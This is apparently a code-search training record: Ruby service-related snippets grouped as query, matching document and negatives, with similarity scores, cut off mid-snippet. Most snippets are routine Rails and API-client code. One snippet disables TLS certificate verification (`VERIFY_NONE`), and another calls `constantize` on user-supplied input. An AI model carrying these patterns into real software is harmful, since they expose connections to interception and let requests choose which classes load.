"def list_services request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_services_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::ListServicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def service_offered\n [\n IMS::LTI::Models::RestService.new(\n id: \"#{base_url}/lti/v2/services#vnd.Canvas.SubmissionEvent\",\n action: %w(POST),\n endpoint: \"#{base_url}/event/submission\"\n )\n ]\n end",
"def create\n service = current_account.create_service(service_params)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end",
"def service_request_params\n params.require(:service_request).permit(:address, :title, :description, :work_performed, :status, :warning_date, :alert_date, :call_back_phone, :caller_name, :category_id)\n end",
"def create\n @service = Service.new(name: service_params[:name], current_request: request)\n @service = @service.becomes(service_params[:name].constantize) if @service.valid?\n @service.assign_attributes(service_params.merge({current_request: request}))\n @service.user = current_user\n\n respond_to do |format|\n if @service.save\n @service.authenticate\n format.html { redirect_to @service, notice: get_update_message('created') }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_services()\n return get_request(address(\"/OS-KSADM/services\"), token())\n end",
"def services\n\tend",
"def create\n submenu_item 'services-new'\n @service = Service.new(params[:service])\n @service_type = @service.type\n service_param\n\n @service.tenant_id = current_user.tenant_id\n\n # service_params = Service.extract_params(params[:service])\n # service_params = Service.extract_thresholds(service_params)\n # @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n flash[:notice] = \"#{@service.name}创建成功\"\n format.html { redirect_to(@service) }\n else\n dictionary\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @customer = Customer.find(params[:customer_id])\n @service = @customer.service.new(service_params)\n\n respond_to do |format|\n if @service.save\n \n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def service_params\n params.require(:service).permit(:name, :website, :description, :founded, :topic, :city_id, country_ids: [])\n end",
"def partner_service_request\n @service_requests = @user.get_partner_service_requests(@page)\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def acl_services\n authorize!(:view_service_acl)\n\n validate_params({\n :client_id => [:required]\n })\n\n client = get_client(params[:client_id])\n\n services = {}\n client.wsdl.each do |wsdl|\n wsdl.service.each do |service|\n services[service.serviceCode] = {\n :service_code => service.serviceCode,\n :title => service.title\n }\n end\n end\n\n services_sorted = services.values.sort do |x, y|\n x[:service_code] <=> y[:service_code]\n end\n\n render_json(services_sorted)\n end",
"def create\n @service = Service.create(service_params)\n end",
"def create\n @servicerequest = Servicerequest.new(servicerequest_params)\n @servicerequest.user_id = current_user.username\n @servicerequest.specification_id = session[:specification_sel_id]\n @servicerequest.seccion = @servicerequest.seccion.upcase\n @servicerequest.contacto_int = @servicerequest.contacto_int.upcase\n @servicerequest.correo_int = @servicerequest.correo_int.upcase\n @servicerequest.observacion = @servicerequest.observacion.upcase\n respond_to do |format|\n if @servicerequest.save\n format.html { redirect_to @servicerequest, notice: 'Service request was successfully created.' }\n format.json { render :show, status: :created, location: @servicerequest}\n else\n format.html { render :new }\n format.json { render json: @servicerequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def service_params\n params.require(:service).permit(:name)\n end",
"def service_params\n params.require(:service).permit(:name)\n end",
"def services\n services = @saloon.services\n\n render_success(data: services, each_serializer: ServiceSerializer)\n end",
"def service_params\n params.require(:service).permit(:ccs_service_id, :api_dom)\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to services_url, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def service_params\n params.require(:service).permit(:nombre, :numero, :tipo, :descripcion, :ubicacion, :specification_id)\n end",
"def create_service_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.create_service ...'\n end\n # unbox the parameters from the hash\n allowable_values = [\"vcl\", \"wasm\"]\n if @api_client.config.client_side_validation && opts[:'type'] && !allowable_values.include?(opts[:'type'])\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['comment'] = opts[:'comment'] if !opts[:'comment'].nil?\n form_params['name'] = opts[:'name'] if !opts[:'name'].nil?\n form_params['customer_id'] = opts[:'customer_id'] if !opts[:'customer_id'].nil?\n form_params['type'] = opts[:'type'] if !opts[:'type'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ServiceResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.create_service\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#create_service\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def start_paid_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_start_paid_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def service_request_params\n params.require(:service_request).permit(:email, :zip_code, :gallons_in_tank, :salt_water, :phone_number, :full_name)\n end",
"def create_service(name, description)\n response = @client.post(\"/api/v1/services\", { \"name\" => name, \"description\" => description })\n return JSON.parse(response.body)\n end",
"def service_list\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth user, passwd\n request.add_field 'X-ID-TENANT-NAME', id_domain\n http.request(request)\n end",
"def service_params\n params.require(:service).permit(:id, :name, :due_date, :completed, :tool_id, :service_type_id, :note, :part_ids => [])\n end",
"def list_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.list_services ...'\n end\n # unbox the parameters from the hash\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"ascend\", \"descend\"]\n if @api_client.config.client_side_validation && opts[:'direction'] && !allowable_values.include?(opts[:'direction'])\n fail ArgumentError, \"invalid value for \\\"direction\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<ServiceListResponse>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.list_services\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#list_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @service = @page.services.new(params[:service])\n @service.user = current_user\n \n respond_to do |format|\n if @service.save\n format.html { redirect_to service_url(@page, @service), notice: 'Service was successfully created.' }\n format.json { render json: @service, status: :created, location: @service }\n else\n format.html { render action: \"new\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ajax_service_point\n sp_id = params['sp_id']\n url = ENV['OKAPI_URL']\n tenant = ENV['OKAPI_TENANT']\n sp = CUL::FOLIO::Edge.service_point(url, tenant, folio_token, sp_id)\n render json: sp\n end",
"def service_params\n params.require(:service).permit(:customer_id, :process, :code, :reclaimed, :authorized, :difference)\n end",
"def generate_services\n is_adjustment_line = @service.adjustment_line_is?\n service_segments = []\n service_segments << service_payment_information unless is_adjustment_line\n service_segments << service_date_reference\n unless is_adjustment_line\n cas_segments, pr_amount, crosswalked_codes = Output835.cas_adjustment_segments(@service, @client, @facility, @payer, @element_seperator, @eob, @batch, @check)\n service_segments << cas_segments\n else\n pr_amount = 0.0\n end\n service_segments << service_line_item_control_num unless is_adjustment_line\n service_segments << provider_control_number unless is_adjustment_line\n supp_amount = supplemental_amount\n service_segments << service_supplemental_amount(supp_amount) unless supp_amount.blank? || @service.amount('service_paid_amount').blank?\n service_segments << patpay_specific_lq_segment if @facility.abbr_name == \"RUMC\"\n service_segments << standard_industry_code_segments(@service)\n [service_segments.compact.flatten, pr_amount]\n end",
"def create\n @contract_service = ContractService.new(contract_service_params)\n\n respond_to do |format|\n if @contract_service.save\n format.html { redirect_to @contract_service, notice: 'Contract service was successfully created.' }\n format.json { render :show, status: :created, location: @contract_service }\n else\n format.html { render :new }\n format.json { render json: @contract_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vendor = Vendor.new(params[:vendor])\n\t\[email protected]_id = current_user.id\n respond_to do |format|\n if @vendor.save\n\t\t\t\tif params[:service]\n\t\t\t\t\tparams[:service].keys.each do |f| \n\t\t\t\t\t\[email protected](:name=>f,:is_active=>true)\n\t\t\t\t\tend\n\t\t\t\tend\n format.html { redirect_to @vendor, notice: 'Vendor was successfully created.' }\n format.json { render json: @vendor, status: :created, location: @vendor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vendor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n drivers_for_select\n clients_for_select\n vehicles_for_select\n\n respond_to do |format|\n \n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n @service.build_address\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def service_params\n params.require(:service).permit(:service_type, :date, :male_attendance, :female_attendance, \n :number_of_new_comers, :offertory_amount, :tithe_amount, :starting_time, :closing_time, :leader_id)\n end",
"def service_type_name\n \"REST\"\n end",
"def service_params\n params.require(:service).permit(:name, :user_id, :category_id, :district_id, :description, :phone, :web, :email, :logo, :address, :facebook, :instagram, :opens, :closes, :zipcode, :published, :banned_reason)\n end",
"def service_params\n params.require(:service).permit( :service, :description, :value, :duration, :email, :address_id )\n end",
"def create\n @event_service = EventService.new(event_service_params)\n\n respond_to do |format|\n if @event_service.save\n format.html { redirect_to @event_service, notice: 'Event service was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event_service }\n else\n format.html { render action: 'new' }\n format.json { render json: @event_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @call_service = CallService.new(call_service_params)\n\n respond_to do |format|\n if @call_service.save\n format.html { redirect_to @call_service, notice: 'Call service was successfully created.' }\n format.json { render :show, status: :created, location: @call_service }\n else\n format.html { render :new }\n format.json { render json: @call_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_servicerequest\n @servicerequest = Servicerequest.find(params[:id])\n end",
"def service_request_params\n params.require(:service_request).permit(:dog_id,:service_type, :pick_up_time, :pick_up_location)\n end",
"def parse_service(data, service)\n data[\"methods\"] ||= {}\n\n data[\"methods\"].each do |name, options|\n options.relative_path = options.path\n options.path = File.join(service.servicePath, options.path)\n options.type = options.httpMethod\n if options.request\n options.request_property = parse_property(\"#{name}_request\", options.request)\n options.request = options.request_property.type\n end\n if options.response\n options.response_property = parse_property(\"#{name}_response\", options.response)\n options.response = options.response_property.type\n end\n # Load service parameters\n if options.parameters.nil? and options.type == \"GET\"\n options.parameters = service.parameters\n end\n end\n\n data.operations = data[\"methods\"]\n\n parse_services(data.resources, service) if data.resources\n\n Types::Service.new(data)\n end",
"def service(request, response)\n if @valid_ip\n raise WEBrick::HTTPStatus::Forbidden unless @valid_ip.any? { |ip| request.peeraddr[3] =~ ip }\n end\n\n if request.request_method != \"POST\"\n raise WEBrick::HTTPStatus::MethodNotAllowed,\n \"unsupported method `#{request.request_method}'.\"\n end\n\n raise WEBrick::HTTPStatus::BadRequest if parse_content_type(request['Content-type']).first != \"text/xml\"\n\n length = (request['Content-length'] || 0).to_i\n\n raise WEBrick::HTTPStatus::LengthRequired unless length > 0\n\n data = request.body\n\n raise WEBrick::HTTPStatus::BadRequest if data.nil? or data.size != length\n\n resp = process(data, client_request(request))\n raise WEBrick::HTTPStatus::InternalServerError if resp.nil? or resp.size <= 0\n\n response.status = 200\n response['Content-Length'] = resp.size\n response['Content-Type'] = \"text/xml; charset=utf-8\"\n response.body = resp\n end"
] |
[
"0.71580625",
"0.71028316",
"0.6737767",
"0.6483286",
"0.6414795",
"0.64019334",
"0.63253605",
"0.6229667",
"0.61948496",
"0.6177731",
"0.6130899",
"0.612519",
"0.6122685",
"0.6122343",
"0.61215824",
"0.61071044",
"0.6100956",
"0.6086778",
"0.6042731",
"0.6031596",
"0.6025071",
"0.60196507",
"0.6006644",
"0.5998931",
"0.599852",
"0.5995173",
"0.5994658",
"0.59796906",
"0.5966067",
"0.5942512",
"0.5941687",
"0.59386325",
"0.59358513",
"0.5929988",
"0.5911727",
"0.58839595",
"0.58799183",
"0.5878486",
"0.5876176",
"0.58470917",
"0.58370113",
"0.5826734",
"0.58223337",
"0.58169115",
"0.57969546",
"0.5796838",
"0.57883954",
"0.5769986",
"0.5762649",
"0.5755597",
"0.57541275",
"0.57384",
"0.5737111",
"0.5724845",
"0.5722297",
"0.569982",
"0.5687848",
"0.5687848",
"0.5687848",
"0.5687848",
"0.5687848",
"0.5682262",
"0.5674447",
"0.5672589",
"0.5663298",
"0.5663298",
"0.5661752",
"0.5647998",
"0.56417924",
"0.56383526",
"0.5618861",
"0.5613433",
"0.5609714",
"0.56044614",
"0.55997443",
"0.5598412",
"0.55896616",
"0.55888593",
"0.5575305",
"0.5570483",
"0.5554632",
"0.55512804",
"0.553842",
"0.55331916",
"0.5532199",
"0.5532199",
"0.5532199",
"0.5532199",
"0.5532199",
"0.5532199",
"0.5526755",
"0.5523717",
"0.55183315",
"0.5503223",
"0.54982936",
"0.54965866",
"0.5495589",
"0.54901356",
"0.5482116",
"0.54779285"
] |
0.6913603
|
2
|
PATCH/PUT /request_services/1 PATCH/PUT /request_services/1.json
|
def update
respond_to do |format|
if @request_service.update(request_service_params)
format.html { redirect_to @request_service, notice: 'Request service was successfully updated.' }
format.json { render :show, status: :ok, location: @request_service }
else
format.html { render :edit }
format.json { render json: @request_service.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n #@service_request = ServiceRequest.find(params[:id])\n\n respond_to do |format|\n if @service_request.update_attributes(service_request_params)\n format.html { redirect_to @service_request, notice: 'Service request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_request.update(service_request_params)\n format.html { redirect_to @service_request, notice: 'Service request was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_request }\n else\n format.html { render :edit }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_request.update(service_request_params)\n format.html { redirect_to user_service_requests, flash[:success] = 'Service request was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_request }\n else\n format.html { render :edit }\n format.json { render json: @service_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n service.update(service_params)\n\n respond_with(service)\n end",
"def update\n @service_request = ServiceRequest.find(params[:id])\n\n respond_to do |format|\n if @service_request.update_attributes(params[:service_request])\n format.html { redirect_to(@service_request, :notice => 'Service request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n service.update_attributes(service_params)\n\n respond_with(service)\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n if @service.update(service_params)\n render json: @service, status: :ok, location: @service\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n @service.assign_attributes(service_params.merge({\n current_request: request\n }))\n\n if @service.authenticate and @service.save\n format.html { redirect_to @service, notice: get_update_message('updated') }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n remove_extra_value_from_hash(request.params,params[:service][:ccs_service_id])\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_path, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reset_services(services=[])\n request :put, '/services', services\n end",
"def patch(request)\n request.method = :patch\n request.call\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update_service(id, options={})\n self.class.put(\"/services/#{id}.json?apikey=#{apikey}\", :query => {:service => options}, :body => {})\n end",
"def put!\n request! :put\n end",
"def update_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def update\n @servicerequest.update(servicerequest_params)\n @servicerequest.seccion = @servicerequest.seccion.upcase\n @servicerequest.contacto_int = @servicerequest.contacto_int.upcase\n @servicerequest.correo_int = @servicerequest.correo_int.upcase\n @servicerequest.observacion = @servicerequest.observacion.upcase\n respond_to do |format|\n if @servicerequest.save\n format.html { redirect_to servicerequests_url, notice: 'Service request was successfully updated.' }\n format.json { render :show, status: :ok, location: @servicerequest }\n else\n format.html { render :edit }\n format.json { render json: @servicerequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params.except(:counter))\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_service_params\n params.require(:request_service).permit(:service_id, :request_id)\n end",
"def update\n @request = Request.find(params[:id])\n\n if @request.update(params[:request])\n head :no_content\n else\n render json: @request.errors, status: :unprocessable_entity\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @service.update(service_params)\n end",
"def update\n @service.update(service_params)\n end",
"def update\n @service = Service.find(params[:id])\n respond_to do |format|\n if @service.update_attributes(service_params)\n format.html { redirect_to @customer, success: 'Service was successfully updated.' }\n format.json { respond_with_bip(@service) }\n else\n format.html { render action: 'edit'}\n format.json { respond_with_bip(@service) }\n end\n end\n end",
"def update\n\t\t@request = Request.unscoped.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @request.update_attributes( update_request_params )\n\t\t\t\tformat.json { render json: @request, status: :created }\t\t\t\t\n\t\t\telse\n\t\t\t\tformat.json { render json: @request.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #respond_to do |format|\n # if @request.update(request_params)\n # format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @request.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def set_request_service\n @request_service = RequestService.find(params[:id])\n end",
"def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_patch_request request_pb\n response = @client_stub.make_patch_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def patch request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_patch_request request_pb\n response = @client_stub.make_patch_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"def update\n request = Request.find_by_id(params[:id])\n if request\n request.status = 1\n if request.save\n render json: {\n status: 'success',\n message: 'Request marked as fulfilled',\n },\n status: :ok\n else\n render json: {\n status: 'error',\n message: 'Request failed',\n data: request.errors,\n },\n status: :unprocessable_entity\n end\n else\n render status: :unauthorized\n end\n end",
"def edit\n @appointment_request = current_user.requests.find_by(\n id: params[:request_id]\n )\n\n if @appointment_request.present?\n render json: { appointment_request: @appointment_request, status: 200 }\n else\n render json: { status: 404, layout: false }, status: 404\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n @service_name = args[:service_name] if args.key?(:service_name)\n end",
"def update_service_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.update_service ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling ServiceApi.update_service\"\n end\n # resource path\n local_var_path = '/service/{service_id}'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['comment'] = opts[:'comment'] if 